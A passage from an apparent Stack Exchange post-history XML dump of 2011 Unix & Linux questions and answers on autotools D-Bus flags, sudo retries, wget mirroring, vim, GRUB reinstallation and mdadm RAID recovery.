$DBUS_GLIB_REQUIRED])&#xD;&#xA;&#xD;&#xA;AC_SUBST(DBUS_CFLAGS)&#xD;&#xA;&#xD;&#xA;AC_SUBST(DBUS_LIBS)&#xD;&#xA;&#xD;&#xA;------------------------------------------------&#xD;&#xA;Makefile.am:&#xD;&#xA;&#xD;&#xA;AUTOMAKE_OPTIONS = subdir-objects&#xD;&#xA;&#xD;&#xA;ACLOCAL_AMFLAGS = ${ACLOCAL_FLAGS}&#xD;&#xA;&#xD;&#xA;bin_PROGRAMS = my_app&#xD;&#xA;&#xD;&#xA;my_app_SOURCES = src/my-app.c&#xD;&#xA;&#xD;&#xA;AM_CFLAGS= @DBUS_CFLAGS@&#xD;&#xA;&#xD;&#xA;AM_LDFLAGS= @DBUS_LIBS@&#xD;&#xA;&#xD;&#xA;dist_noinst_SCRIPTS = autogen.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;-------------------------&#xD;&#xA;my-app.c&#xD;&#xA;...&#xD;&#xA;&quot;#include&quot; &quot;&lt;dbus/dbus-glib.h&gt;&quot;&#xD;&#xA;..." />
  <row Id="21921" PostHistoryTypeId="1" PostId="9216" RevisionGUID="08c72764-11a9-41c2-ac5b-e87a648ca04b" CreationDate="2011-03-14T07:37:43.820" UserId="5495" Text="Autoconfig/Automake fails to generate AM_CFLAGS &amp; AM_LDFLAGS for dependent D-BUS library. Why?" />
  <row Id="21922" PostHistoryTypeId="3" PostId="9216" RevisionGUID="08c72764-11a9-41c2-ac5b-e87a648ca04b" CreationDate="2011-03-14T07:37:43.820" UserId="5495" Text="élinuxàéubuntuàéconfigurationàédbusà" />
  <row Id="21923" PostHistoryTypeId="6" PostId="9204" RevisionGUID="9f0ede2b-e3e6-499e-925e-ad058929f38a" CreationDate="2011-03-14T07:39:12.493" UserId="885" Comment="edited tags" Text="éfirefoxàélinuxömintà" />
  <row Id="21924" PostHistoryTypeId="2" PostId="9217" RevisionGUID="df293bf1-be1a-4599-94b5-d023fbe908ba" CreationDate="2011-03-14T07:47:01.383" UserId="5325" Text="Did you run `aclocal` to bring in all the relevant definitions?" />
  <row Id="21925" PostHistoryTypeId="5" PostId="9216" RevisionGUID="cf6633d3-958a-4c11-9cd7-c2a31db76a44" CreationDate="2011-03-14T07:47:46.963" UserId="5495" Comment="added 4 characters in body" Text="I want to build a program that use DBUS, using automake/autoconfig tools. But the make command always report an error &quot;dbus/dbus-glib.h&quot;: No such file or directory. &#xD;&#xA;&#xD;&#xA;My OS is ubuntu 10.10. And I installed both &quot;dbus-1&quot; and &quot;dbus-glib-1&quot;. I check the generated Makefile and found both AM_CFLAGS and AM_LDFLAGS are empty.&#xD;&#xA;&#xD;&#xA;Could somebody help? Many thanks!&#xD;&#xA;&#xD;&#xA;Here is my code:&#xD;&#xA;&#xD;&#xA;configure.ac:&#xD;&#xA;&#xD;&#xA;AC_INIT([my-app], [0.1])&#xD;&#xA;&#xD;&#xA;AC_PREREQ([2.59])&#xD;&#xA;&#xD;&#xA;AM_INIT_AUTOMAKE([1.10 -Wall no-define])&#xD;&#xA;&#xD;&#xA;AC_CONFIG_HEADERS([config.h])&#xD;&#xA;&#xD;&#xA;AC_PROG_CC&#xD;&#xA;&#xD;&#xA;AM_PROG_CC_C_O&#xD;&#xA;&#xD;&#xA;AC_CONFIG_FILES([Makefile])&#xD;&#xA;&#xD;&#xA;AC_OUTPUT&#xD;&#xA;&#xD;&#xA;DBUS_REQUIRED=1.3.1&#xD;&#xA;&#xD;&#xA;DBUS_GLIB_REQUIRED=0.82&#xD;&#xA;&#xD;&#xA;GLIB_REQUIRED=2.26.0&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;PKG_CHECK_MODULES(DBUS, [dbus-1 &gt;= $DBUS_REQUIRED dbus-glib-1 &gt;= $DBUS_GLIB_REQUIRED])&#xD;&#xA;&#xD;&#xA;AC_SUBST(DBUS_CFLAGS)&#xD;&#xA;&#xD;&#xA;AC_SUBST(DBUS_LIBS)&#xD;&#xA;&#xD;&#xA;------------------------------------------------&#xD;&#xA;Makefile.am:&#xD;&#xA;&#xD;&#xA;AUTOMAKE_OPTIONS = subdir-objects&#xD;&#xA;&#xD;&#xA;ACLOCAL_AMFLAGS = ${ACLOCAL_FLAGS}&#xD;&#xA;&#xD;&#xA;bin_PROGRAMS = my_app&#xD;&#xA;&#xD;&#xA;my_app_SOURCES = src/my-app.c&#xD;&#xA;&#xD;&#xA;AM_CFLAGS= @DBUS_CFLAGS@&#xD;&#xA;&#xD;&#xA;AM_LDFLAGS= @DBUS_LIBS@&#xD;&#xA;&#xD;&#xA;dist_noinst_SCRIPTS = autogen.sh&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;-------------------------&#xD;&#xA;my-app.c&#xD;&#xA;...&#xD;&#xA;&quot;#include&quot; {{{&lt;dbus/dbus-glib.h&gt;}}}&#xD;&#xA;..." />
  <row Id="21926" PostHistoryTypeId="2" PostId="9218" RevisionGUID="f3c11860-85ae-41ba-a557-0811a9fa462e" CreationDate="2011-03-14T07:56:41.667" UserId="912" Text="    $ sudo some_command&#xD;&#xA;    Password:&#xD;&#xA;    Sorry, try again.&#xD;&#xA;    Sorry, try again.&#xD;&#xA;    Sorry, try again.&#xD;&#xA;    sudo: 3 incorrect password attempts&#xD;&#xA;    $&#xD;&#xA;&#xD;&#xA;This is what my shell prints when I enter a wrong password to a sudoed command.&#xD;&#xA;&#xD;&#xA;Why could this happen?" />
  <row Id="21927" PostHistoryTypeId="1" PostId="9218" RevisionGUID="f3c11860-85ae-41ba-a557-0811a9fa462e" CreationDate="2011-03-14T07:56:41.667" UserId="912" Text="Why does my sudo ask for password only once but evaluate thrice?" />
  <row Id="21928" PostHistoryTypeId="3" PostId="9218" RevisionGUID="f3c11860-85ae-41ba-a557-0811a9fa462e" CreationDate="2011-03-14T07:56:41.667" UserId="912" Text="élinuxàébashàésudoà" />
  <row Id="21929" PostHistoryTypeId="25" PostId="9215" RevisionGUID="f4ff1118-faa5-42fc-ac61-560d47218191" CreationDate="2011-03-14T08:24:39.473" Comment="http://twitter.com/#!/StackUnix/status/47211525282340864" />
  <row Id="21930" PostHistoryTypeId="2" PostId="9219" RevisionGUID="f36c640a-a495-4e4c-a08f-33ee13f4c88a" CreationDate="2011-03-14T08:41:18.680" UserId="5495" Text="I found the root cause. In configure.ac, I should have added DBUS C/LD flags before I call AC_CONFIG_FILES([Makefile]) and AC_OUTPUT. Then the AM_CFLAGS and AM_LDFLAGS in Makefile can get valid value.&#xD;&#xA;" />
  <row Id="21934" PostHistoryTypeId="2" PostId="9221" RevisionGUID="96d93fc1-a0c8-4215-9c93-8cd4d9061dde" CreationDate="2011-03-14T09:22:45.243" UserId="688" Text="I'm running **`wget`** like this:&#xD;&#xA;&#xD;&#xA;    wget --mirror --adjust-extension --convert-links --no-cookies --timestamping http://tshepang.net -o log-main&#xD;&#xA;&#xD;&#xA;I get a bunch of these messages:&#xD;&#xA;&#xD;&#xA;    Last-modified header missing -- time-stamps turned off.&#xD;&#xA;&#xD;&#xA;I suppose that means that pages keep getting re-downloaded, even though I have them locally." />
  <row Id="21935" PostHistoryTypeId="1" PostId="9221" RevisionGUID="96d93fc1-a0c8-4215-9c93-8cd4d9061dde" CreationDate="2011-03-14T09:22:45.243" UserId="688" Text="How to work around missing 'last-modified' headers?" />
  <row Id="21936" PostHistoryTypeId="3" PostId="9221" RevisionGUID="96d93fc1-a0c8-4215-9c93-8cd4d9061dde" CreationDate="2011-03-14T09:22:45.243" UserId="688" Text="éwgetàéwebà" />
  <row Id="21937" PostHistoryTypeId="2" PostId="9222" RevisionGUID="91308510-6b0e-4d40-b6a8-ddef13fc8774" CreationDate="2011-03-14T09:36:13.713" UserId="5664" Text="We can delete lines after the cursor (e.g.: the next 3 lines) with:&lt;br&gt;&#xD;&#xA;&#xD;&#xA;	3dd&#xD;&#xA;&#xD;&#xA;But how can we delete the lines before the cursor? (e.g.: 3 lines before cursor)?&lt;br&gt;" />
  <row Id="21938" PostHistoryTypeId="1" PostId="9222" RevisionGUID="91308510-6b0e-4d40-b6a8-ddef13fc8774" CreationDate="2011-03-14T09:36:13.713" UserId="5664" Text="vim: delete lines before cursor" />
  <row Id="21939" PostHistoryTypeId="3" PostId="9222" RevisionGUID="91308510-6b0e-4d40-b6a8-ddef13fc8774" CreationDate="2011-03-14T09:36:13.713" UserId="5664" Text="élinuxàévimà" />
  <row Id="21940" PostHistoryTypeId="2" PostId="9223" RevisionGUID="5a732287-7051-4c05-9f5e-689e38094db1" CreationDate="2011-03-14T09:43:05.887" UserId="5666" Text="    2dk&#xD;&#xA;&#xD;&#xA;same effect as `3dd` but upwards." />
  <row Id="21941" PostHistoryTypeId="2" PostId="9224" RevisionGUID="2fb0228b-fabd-4db2-8ee7-308be11978a7" CreationDate="2011-03-14T09:58:15.277" UserId="5666" Text="Boot from your ArchLinux live cd again and in a command prompt as root run the exact following.&#xD;&#xA;&#xD;&#xA;    mkdir /mnt/root&#xD;&#xA;    mount /dev/sda3 /mnt/root&#xD;&#xA;    mount /dev/sda1 /mnt/root/boot&#xD;&#xA;    chroot /mnt/root&#xD;&#xA;    mount /proc&#xD;&#xA;    grub-install --recheck --no-floppy /dev/sda&#xD;&#xA;    umount /proc&#xD;&#xA;    exit&#xD;&#xA;    umount /mnt/root/boot&#xD;&#xA;    umount /mnt/root&#xD;&#xA;    reboot&#xD;&#xA;&#xD;&#xA;Depending on what you did trying to setup autofs, you might want to check that  `/etc/fstab` or `/boot/grub/menu.lst` files are valid while you are chrooted in your system (after `mount /proc` above).  " />
  <row Id="21942" PostHistoryTypeId="2" PostId="9225" RevisionGUID="af766f33-587d-4420-82ee-f21e35d140f4" CreationDate="2011-03-14T10:14:10.237" UserId="5705" Text="Also in French version of most software, the &quot;About&quot; item is translated by &quot;À propos&quot; which is a fairly accurate translation." />
  <row Id="21943" PostHistoryTypeId="2" PostId="9226" RevisionGUID="a5edc20a-86f9-4079-9b75-65c63a3b7238" CreationDate="2011-03-14T10:30:19.307" UserId="5664" Text="I'm using privoxy proxy on my PC.&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;What is the rewrite rule in the &quot;user.action&quot; file to rewrite e.g.: &quot;http://foo.org&quot; to &quot;https://foo.org&quot;. Not redirect! Rewrite!&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;So if i search google for &quot;foo.org&quot; then on the search page there would be &quot;https://foo.org&quot;&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Would the rewrite work on e.g.: &quot;https://encrypted.google.com/&quot; ?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Or redirecting is better because there could be e.g.: &quot;&lt; img src=&quot;foo.org/pic.jpg&quot; &gt;&lt; /img &gt;&quot; ?&lt;br&gt;&#xD;&#xA;&lt;br&gt;&#xD;&#xA;Thank you!&lt;br&gt;" />
  <row Id="21944" PostHistoryTypeId="1" PostId="9226" RevisionGUID="a5edc20a-86f9-4079-9b75-65c63a3b7238" CreationDate="2011-03-14T10:30:19.307" UserId="5664" Text="privoxy: rewrite html &quot;http&quot; links to &quot;https&quot;" />
  <row Id="21945" PostHistoryTypeId="3" PostId="9226" RevisionGUID="a5edc20a-86f9-4079-9b75-65c63a3b7238" CreationDate="2011-03-14T10:30:19.307" UserId="5664" Text="élinuxàésecurityà" />
  <row Id="21946" PostHistoryTypeId="5" PostId="9216" RevisionGUID="6223a028-1cd3-4672-a87f-012d31c304e2" CreationDate="2011-03-14T11:15:11.390" UserId="2421" Comment="improved formatting" Text="I want to build a program that use DBUS, using automake/autoconfig tools. But the make command always report an error &quot;dbus/dbus-glib.h&quot;: No such file or directory. &#xD;&#xA;&#xD;&#xA;My OS is ubuntu 10.10. And I installed both &quot;dbus-1&quot; and &quot;dbus-glib-1&quot;. I check the generated Makefile and found both AM_CFLAGS and AM_LDFLAGS are empty.&#xD;&#xA;&#xD;&#xA;Could somebody help? Many thanks!&#xD;&#xA;&#xD;&#xA;Here is my code:&#xD;&#xA;&#xD;&#xA;configure.ac:&#xD;&#xA;&#xD;&#xA;    AC_INIT([my-app], [0.1])&#xD;&#xA;    AC_PREREQ([2.59])&#xD;&#xA;    AM_INIT_AUTOMAKE([1.10 -Wall no-define])&#xD;&#xA;    AC_CONFIG_HEADERS([config.h])&#xD;&#xA;    AC_PROG_CC&#xD;&#xA;    AM_PROG_CC_C_O&#xD;&#xA;    AC_CONFIG_FILES([Makefile])&#xD;&#xA;    AC_OUTPUT&#xD;&#xA;    DBUS_REQUIRED=1.3.1&#xD;&#xA;    DBUS_GLIB_REQUIRED=0.82&#xD;&#xA;    GLIB_REQUIRED=2.26.0&#xD;&#xA;    &#xD;&#xA;    PKG_CHECK_MODULES(DBUS, [dbus-1 &gt;= $DBUS_REQUIRED dbus-glib-1 &gt;= $DBUS_GLIB_REQUIRED])&#xD;&#xA;    AC_SUBST(DBUS_CFLAGS)&#xD;&#xA;    AC_SUBST(DBUS_LIBS)&#xD;&#xA;&#xD;&#xA;------------------------------------------------&#xD;&#xA;Makefile.am:&#xD;&#xA;&#xD;&#xA;    AUTOMAKE_OPTIONS = subdir-objects&#xD;&#xA;    ACLOCAL_AMFLAGS = ${ACLOCAL_FLAGS}&#xD;&#xA;    bin_PROGRAMS = my_app&#xD;&#xA;    my_app_SOURCES = src/my-app.c&#xD;&#xA;    AM_CFLAGS= @DBUS_CFLAGS@&#xD;&#xA;    AM_LDFLAGS= @DBUS_LIBS@&#xD;&#xA;    dist_noinst_SCRIPTS = autogen.sh&#xD;&#xA;&#xD;&#xA;-------------------------&#xD;&#xA;my-app.c&#xD;&#xA;&#xD;&#xA;    ...&#xD;&#xA;    &quot;#include&quot; {{{&lt;dbus/dbus-glib.h&gt;}}}&#xD;&#xA;    ...&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21947" PostHistoryTypeId="24" PostId="9216" RevisionGUID="6223a028-1cd3-4672-a87f-012d31c304e2" CreationDate="2011-03-14T11:15:11.390" Comment="Proposed by 2421 approved by 2511 edit id of 204" />
  <row Id="21948" PostHistoryTypeId="25" PostId="9218" RevisionGUID="d9186f4b-1526-4648-a6fb-7194315df218" CreationDate="2011-03-14T11:24:39.597" Comment="http://twitter.com/#!/StackUnix/status/47256824449208320" />
  <row Id="21950" PostHistoryTypeId="2" PostId="9228" RevisionGUID="378c49c3-cf46-4c69-a1bf-af5d350bf12b" CreationDate="2011-03-14T11:47:08.883" UserId="5666" Text="That means that the web server does not provide last modification info. Many servers hide that info for static content to manipulate the browser's cache.&#xD;&#xA;&#xD;&#xA;You have instructed wget to ask for that info with `--timestamping` flag (which is redundant, it is implicitly enabled with `--mirror`). If you don't want wget to re-download the same files on one run, try this (untested)&#xD;&#xA;&#xD;&#xA;    wget -r -N -l inf -nc --adjust-extension --convert-links --no-cookies http://tshepang.net -o log-main&#xD;&#xA;&#xD;&#xA;It isn't a good way to update an already existing mirror though (it won't re-download the same files even if they're changed), but AFAIK, there is no other workaround for wget.&#xD;&#xA;" />
  <row Id="21951" PostHistoryTypeId="5" PostId="9221" RevisionGUID="5fd1f8db-ad64-4b5a-9792-f964e4767787" CreationDate="2011-03-14T12:08:00.867" UserId="688" Comment="clarity; rm redundant option" Text="I'm running **`wget`** like this:&#xD;&#xA;&#xD;&#xA;    wget --mirror --adjust-extension --convert-links --no-cookies http://tshepang.net -o log-main&#xD;&#xA;&#xD;&#xA;I get a bunch of these messages:&#xD;&#xA;&#xD;&#xA;    Last-modified header missing -- time-stamps turned off.&#xD;&#xA;&#xD;&#xA;I suppose that means that pages keep getting re-downloaded, even though I have them locally.&#xD;&#xA;&#xD;&#xA;**NOTE**: I want this so that I don't have to re-download existing files each time I run the command mirror." />
  <row Id="21952" PostHistoryTypeId="5" PostId="9091" RevisionGUID="311ac8db-4938-4d50-90d7-9b2cf93dbf88" CreationDate="2011-03-14T12:42:24.113" UserId="4290" Comment="added 1843 characters in body; added 16 characters in body; added 159 characters in body" Text="I have a problem building , it fails with the error:&#xD;&#xA;&#xD;&#xA;D: May free Score board((nil))&#xD;&#xA;&#xD;&#xA;What does this mean ? I do not see any other errors appearing in the build before this so i am fairly stumped by the lack of information. &#xD;&#xA;&#xD;&#xA;OS : FC 8&#xD;&#xA;&#xD;&#xA;Edit : FYI , it builds fine on FC10,13.&#xD;&#xA;&#xD;&#xA;Edit2 : Sorry for the missing info guys. I am trying to build a soap engine from apache - Axis2c. I am creating an RPM for the same. Here are the details of the spec file.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    define _axis_name axis2-c&#xD;&#xA;    %define _axis_version 1.0&#xD;&#xA;    %define _axis_release 1&#xD;&#xA;    %define _axis_prefix &quot;/usr/local/Axis2C&quot;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;    Name:           %{_axis_name}&#xD;&#xA;    Version:        %{_axis_version}&#xD;&#xA;    Release:        %{_axis_release}&#xD;&#xA;    Summary:        Axis2C C++ Webservices Framework&#xD;&#xA;    &#xD;&#xA;    Group:          Apache&#xD;&#xA;    License:        GPL&#xD;&#xA;    URL:            http://axis.apache.org/axis2/c/core/&#xD;&#xA;    Source0:        %{_axis_name}-%{_axis_version}.tar.gz&#xD;&#xA;    BuildRoot:      %(mktemp -ud %{_tmppath}/%{name}-%{version}-%{release}-XXXXXX)&#xD;&#xA;    &#xD;&#xA;    BuildRequires:  expat expat-devel xerces-c xerces-c-devel httpd httpd-devel&#xD;&#xA;    Requires:       expat expat-devel xerces-c xerces-c-devel httpd httpd-devel&#xD;&#xA;    &#xD;&#xA;    %description&#xD;&#xA;    * Fri Jan 21 2011 RM&lt;xx@xxx&gt;&#xD;&#xA;    - First Attempt to build Axis2C RPM's&#xD;&#xA;    &#xD;&#xA;    %prep&#xD;&#xA;    %setup -q&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    %build&#xD;&#xA;    #%configure&#xD;&#xA;    #make %{?_smp_mflags}&#xD;&#xA;    %define AXISHOME %(echo ${AXIS2C_HOME})&#xD;&#xA;    ./build.sh&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    %install&#xD;&#xA;    rm -rf $RPM_BUILD_ROOT&#xD;&#xA;    make install DESTDIR=$RPM_BUILD_ROOT&#xD;&#xA;    mkdir -p ${RPM_BUILD_ROOT}/etc/ld.so.conf.d&#xD;&#xA;    cp ${RPM_BUILD_DIR}/${RPM_PACKAGE_NAME}-${RPM_PACKAGE_VERSION}/axis2c.conf ${RPM_BUILD_ROOT}/etc/ld.so.conf.d/axis2c.conf&#xD;&#xA;    &#xD;&#xA;    %clean&#xD;&#xA;    rm -rf $RPM_BUILD_ROOT&#xD;&#xA;    &#xD;&#xA;    &#xD;&#xA;    %files&#xD;&#xA;    %defattr(-,root,root,-)&#xD;&#xA;    %doc&#xD;&#xA;    /etc/ld.so.conf.d/axis2c.conf&#xD;&#xA;    %{AXISHOME}/AUTHORS&#xD;&#xA;    %{AXISHOME}/COPYING&#xD;&#xA;    %{AXISHOME}/CREDITS&#xD;&#xA;    %{AXISHOME}/INSTALL&#xD;&#xA;    %{AXISHOME}/LICENSE&#xD;&#xA;    %{AXISHOME}/NEWS&#xD;&#xA;    %{AXISHOME}/NOTICE&#xD;&#xA;    %{AXISHOME}/axis2.xml&#xD;&#xA;    %{AXISHOME}/bin/axis2_http_server&#xD;&#xA;    .......&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;Build : &#xD;&#xA;&#xD;&#xA;    rpmbuild -bs --nodeps /root/rpmbuild/SPECS/axis2c.spec&#xD;&#xA;    rpmbuild -vv --rebuild --target &quot;i686&quot; /root/rpmbuild/SRPMS/axis2-c-1.0-1.src.rpm&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21955" PostHistoryTypeId="5" PostId="9228" RevisionGUID="689a2665-9d97-4df5-9c43-d8ec8cce2e74" CreationDate="2011-03-14T12:48:54.980" UserId="5666" Comment="removed -N that accidentally left in the command line " Text="That means that the web server does not provide last modification info. Many servers hide that info for static content to manipulate the browser's cache.&#xD;&#xA;&#xD;&#xA;You have instructed wget to ask for that info with `--timestamping` flag (which is redundant, it is implicitly enabled with `--mirror`). If you don't want wget to re-download the same files on one run, try this (untested)&#xD;&#xA;&#xD;&#xA;    wget -r -l inf -nc --adjust-extension --convert-links --no-cookies http://tshepang.net -o log-main&#xD;&#xA;&#xD;&#xA;It isn't a good way to update an already existing mirror though (it won't re-download the same files even if they're changed), but AFAIK, there is no other workaround for wget.&#xD;&#xA;&#xD;&#xA;edit: removed -N that accidentally left in the command line " />
  <row Id="21956" PostHistoryTypeId="5" PostId="9224" RevisionGUID="56a6b47a-8efd-4a1b-a904-5573a8928d24" CreationDate="2011-03-14T13:01:00.750" UserId="5666" Comment="added 35 characters in body" Text="Boot from your ArchLinux live cd again and in a command prompt as root run the exact following.&#xD;&#xA;&#xD;&#xA;    mkdir /mnt/root&#xD;&#xA;    mount /dev/sda3 /mnt/root&#xD;&#xA;    mount /dev/sda1 /mnt/root/boot&#xD;&#xA;    cp -a /dev/sd* /mnt/root/dev/&#xD;&#xA;    chroot /mnt/root&#xD;&#xA;    mount /proc&#xD;&#xA;    grub-install --recheck --no-floppy /dev/sda&#xD;&#xA;    umount /proc&#xD;&#xA;    exit&#xD;&#xA;    umount /mnt/root/boot&#xD;&#xA;    umount /mnt/root&#xD;&#xA;    reboot&#xD;&#xA;&#xD;&#xA;Depending on what you did trying to setup autofs, you might want to check that  `/etc/fstab` or `/boot/grub/menu.lst` files are valid while you are chrooted in your system (after `mount /proc` above).  " />
  <row Id="21958" PostHistoryTypeId="2" PostId="9230" RevisionGUID="4057f22c-aca8-4a73-b2ae-ad1b6764b90d" CreationDate="2011-03-14T13:21:42.243" UserId="5710" Text="I have two networks on a server.  One being my internal network, and the other being an external IP address.  This is on Debian Lenny.  Here is my /etc/network/interfaces file:&#xD;&#xA;&#xD;&#xA;  &#xD;&#xA;&#xD;&#xA;    # This file describes the network interfaces available on your system&#xD;&#xA;    # and how to activate them. For more information, see interfaces(5).&#xD;&#xA;    &#xD;&#xA;    # The loopback network interface&#xD;&#xA;    auto lo&#xD;&#xA;    iface lo inet loopback&#xD;&#xA;    &#xD;&#xA;    # The primary network interface&#xD;&#xA;    auto eth0&#xD;&#xA;    iface eth0 inet static&#xD;&#xA;            address 172.16.130.250&#xD;&#xA;            netmask 255.255.255.0&#xD;&#xA;            broadcast 172.16.120.255&#xD;&#xA;            gateway 172.16.130.1&#xD;&#xA;    &#xD;&#xA;    auto eth1&#xD;&#xA;    iface eth1 inet static&#xD;&#xA;            address 24.249.hidden ipaddy&#xD;&#xA;            netmask 255.255.255.224&#xD;&#xA;            broadcast 24.249.hidden broadcast.255&#xD;&#xA;            gateway 24.249.hidden gateway&#xD;&#xA;&#xD;&#xA;I can reboot my system and sometimes eth1 is accessible from SSH, and other times eth0 is accessible.  Then sometimes eth1 will just stop being pingable alltogether.  This is a fairly fresh install of Debian, and the only thing I have running is VMWare Server 2.0, bridged to both of my network connections." />
  <row Id="21959" PostHistoryTypeId="1" PostId="9230" RevisionGUID="4057f22c-aca8-4a73-b2ae-ad1b6764b90d" CreationDate="2011-03-14T13:21:42.243" UserId="5710" Text="Two networks cannot be accessed simulaneously" />
  <row Id="21960" PostHistoryTypeId="3" PostId="9230" RevisionGUID="4057f22c-aca8-4a73-b2ae-ad1b6764b90d" CreationDate="2011-03-14T13:21:42.243" UserId="5710" Text="édebianàénetworkingàévmwareà" />
  <row Id="21961" PostHistoryTypeId="2" PostId="9231" RevisionGUID="7d1de5f4-12ef-45c1-9a8b-210aa911dc38" CreationDate="2011-03-14T13:24:27.150" UserDisplayName="delete" Text="Does anyone have any useful mnemonics for remembering the order of function parameters or the return values of Unix system calls? I am suffering from &quot;memory leaks&quot;.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="21962" PostHistoryTypeId="1" PostId="9231" RevisionGUID="7d1de5f4-12ef-45c1-9a8b-210aa911dc38" CreationDate="2011-03-14T13:24:27.150" UserDisplayName="delete" Text="Mnemonics for Unix functions?" />
  <row Id="21963" PostHistoryTypeId="3" PostId="9231" RevisionGUID="7d1de5f4-12ef-45c1-9a8b-210aa911dc38" CreationDate="2011-03-14T13:24:27.150" UserDisplayName="delete" Text="émemoryàésystemöcallsà" />
  <row Id="21964" PostHistoryTypeId="5" PostId="8861" RevisionGUID="bc8a302f-2b3a-4238-8921-020a41543bb0" CreationDate="2011-03-14T13:30:53.240" UserId="4477" Comment="updated with the results of recovery attempts" Text="Some time ago I had a RAID5 system at home. One of the 4 disks failed but after removing and putting it back it seemed to be OK so I started a resync. When it finished I realized, to my horror, that 3 out of 4 disks failed. However I don't belive that's possible. There are multiple partitions on the disks each part of a different RAID array.&#xD;&#xA;&#xD;&#xA;* md0 is a RAID1 array comprised of sda1, sdb1, sdc1 and sdd1.&#xD;&#xA;* md1 is a RAID5 array comprised of sda2, sdb2, sdc2 and sdd2.&#xD;&#xA;* md2 is a RAID0 array comprised of sda3, sdb3, sdc3 and sdd3.&#xD;&#xA;&#xD;&#xA;md0 and md2 reports all disks up while md1 reports 3 failed (sdb2, sdc2, sdd2). It's my uderstanding that when hard drives fail all the partitions should be lost not just the middle ones.&#xD;&#xA;&#xD;&#xA;At that point I turned the computer off and unplugged the drives. Since then I was using that computer with a smaller new disk.&#xD;&#xA;&#xD;&#xA;Is there any hope of recovering the data? Can I somehow convince mdadm that my disks are in fact working? The only disk that may really have a problem is sdc but that one too is reported up by the other arrays.&#xD;&#xA;&#xD;&#xA;**Update**&#xD;&#xA;&#xD;&#xA;I finally got a chance to connect the old disks and boot this machine from SystemRescueCd. Everything above was written from memory. Now I have some hard data. Here is the output of `mdadm --examine /dev/sd*2`&#xD;&#xA;&#xD;&#xA;    /dev/sda2:&#xD;&#xA;              Magic : a92b4efc&#xD;&#xA;            Version : 0.90.00&#xD;&#xA;               UUID : 53eb7711:5b290125:db4a62ac:7770c5ea&#xD;&#xA;      Creation Time : Sun May 30 21:48:55 2010&#xD;&#xA;         Raid Level : raid5&#xD;&#xA;      Used Dev Size : 625064960 (596.11 GiB 640.07 GB)&#xD;&#xA;         Array Size : 1875194880 (1788.33 GiB 1920.20 GB)&#xD;&#xA;       Raid Devices : 4&#xD;&#xA;      Total Devices : 4&#xD;&#xA;    Preferred Minor : 1&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Aug 23 11:40:48 2010&#xD;&#xA;              State : clean&#xD;&#xA;     Active Devices : 3&#xD;&#xA;    Working Devices : 4&#xD;&#xA;     Failed Devices : 1&#xD;&#xA;      Spare Devices : 1&#xD;&#xA;           Checksum : 68b48835 - correct&#xD;&#xA;             Events : 53204&#xD;&#xA;    &#xD;&#xA;             Layout : left-symmetric&#xD;&#xA;         Chunk Size : 64K&#xD;&#xA;    &#xD;&#xA;          Number   Major   Minor   RaidDevice State&#xD;&#xA;    this     0       8        2        0      active sync   /dev/sda2&#xD;&#xA;    &#xD;&#xA;       0     0       8        2        0      active sync   /dev/sda2&#xD;&#xA;       1     1       8       18        1      active sync   /dev/sdb2&#xD;&#xA;       2     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;       3     3       0        0        3      faulty removed&#xD;&#xA;       4     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;    /dev/sdb2:&#xD;&#xA;              Magic : a92b4efc&#xD;&#xA;            Version : 0.90.00&#xD;&#xA;               UUID : 53eb7711:5b290125:db4a62ac:7770c5ea&#xD;&#xA;      Creation Time : Sun May 30 21:48:55 2010&#xD;&#xA;         Raid Level : raid5&#xD;&#xA;      Used Dev Size : 625064960 (596.11 GiB 640.07 GB)&#xD;&#xA;         Array Size : 1875194880 (1788.33 GiB 1920.20 GB)&#xD;&#xA;       Raid Devices : 4&#xD;&#xA;      Total Devices : 4&#xD;&#xA;    Preferred Minor : 1&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Aug 23 11:44:54 2010&#xD;&#xA;              State : clean&#xD;&#xA;     Active Devices : 2&#xD;&#xA;    Working Devices : 3&#xD;&#xA;     Failed Devices : 1&#xD;&#xA;      Spare Devices : 1&#xD;&#xA;           Checksum : 68b4894a - correct&#xD;&#xA;             Events : 53205&#xD;&#xA;    &#xD;&#xA;             Layout : left-symmetric&#xD;&#xA;         Chunk Size : 64K&#xD;&#xA;    &#xD;&#xA;          Number   Major   Minor   RaidDevice State&#xD;&#xA;    this     1       8       18        1      active sync   /dev/sdb2&#xD;&#xA;    &#xD;&#xA;       0     0       0        0        0      removed&#xD;&#xA;       1     1       8       18        1      active sync   /dev/sdb2&#xD;&#xA;       2     2       8       34        2      active sync   /dev/sdc2&#xD;&#xA;       3     3       0        0        3      faulty removed&#xD;&#xA;       4     4       8       50        4      spare   /dev/sdd2&#xD;&#xA;    /dev/sdc2:&#xD;&#xA;              Magic : a92b4efc&#xD;&#xA;            Version : 0.90.00&#xD;&#xA;               UUID : 53eb7711:5b290125:db4a62ac:7770c5ea&#xD;&#xA;      Creation Time : Sun May 30 21:48:55 2010&#xD;&#xA;         Raid Level : raid5&#xD;&#xA;      Used Dev Size : 625064960 (596.11 GiB 640.07 GB)&#xD;&#xA;         Array Size : 1875194880 (1788.33 GiB 1920.20 GB)&#xD;&#xA;       Raid Devices : 4&#xD;&#xA;      Total Devices : 4&#xD;&#xA;    Preferred Minor : 1&#xD;&#xA;    &#xD;&#xA;        Update Time : Mon Aug 23 11:44:54 2010&#xD;&#xA;              State : clean&#xD;&#xA;     Active Devices : 1&#xD;&#xA;    Working Devices : 2&#xD;&#xA;     Failed Devices : 2&#xD;&#xA;      Spare Devices : 1&#xD;&#xA;           Checksum 